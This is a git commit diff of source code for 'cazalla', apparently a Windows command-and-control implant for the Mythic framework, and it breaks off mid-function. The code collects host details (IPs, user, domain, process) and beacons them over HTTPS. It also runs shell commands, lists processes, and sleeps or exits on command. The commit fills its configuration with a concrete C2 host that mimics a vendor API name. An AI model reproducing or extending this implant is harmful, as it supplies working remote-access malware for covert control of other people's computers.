v0.5 ps y mejoras

This commit is contained in:
marcos.luna
2025-04-07 10:49:56 +00:00
parent fba98e461a
commit fcd2251761
48 changed files with 2499 additions and 2093 deletions
+24 -24
View File
@@ -1,25 +1,25 @@
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
CMD ["python3", "main.py"]
+20 -20
View File
@@ -1,20 +1,20 @@
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
@@ -1,115 +1,115 @@
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
@@ -1,13 +1,13 @@
#pragma once
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port %PORT%
#define sleep_time %SLEEPTIME%
#pragma once
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
#define endpoint L"data"
#define ssl TRUE
#define proxyenabled FALSE
#define proxyurl L""
#define useragent L""
#define httpmethod L"POST"
#define port 443
#define sleep_time 10
@@ -1,43 +1,43 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
@@ -1,26 +1,26 @@
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif
@@ -1,39 +1,39 @@
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time * 1000;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE){
rutina();
}
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time*1000;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE){
rutina();
}
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
@@ -1,35 +1,35 @@
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#endif
@@ -1,35 +1,35 @@
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
}
@@ -1,11 +1,11 @@
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H
@@ -1,196 +1,196 @@
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
}
@@ -1,17 +1,17 @@
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#endif
@@ -1,80 +1,83 @@
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}else if(tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
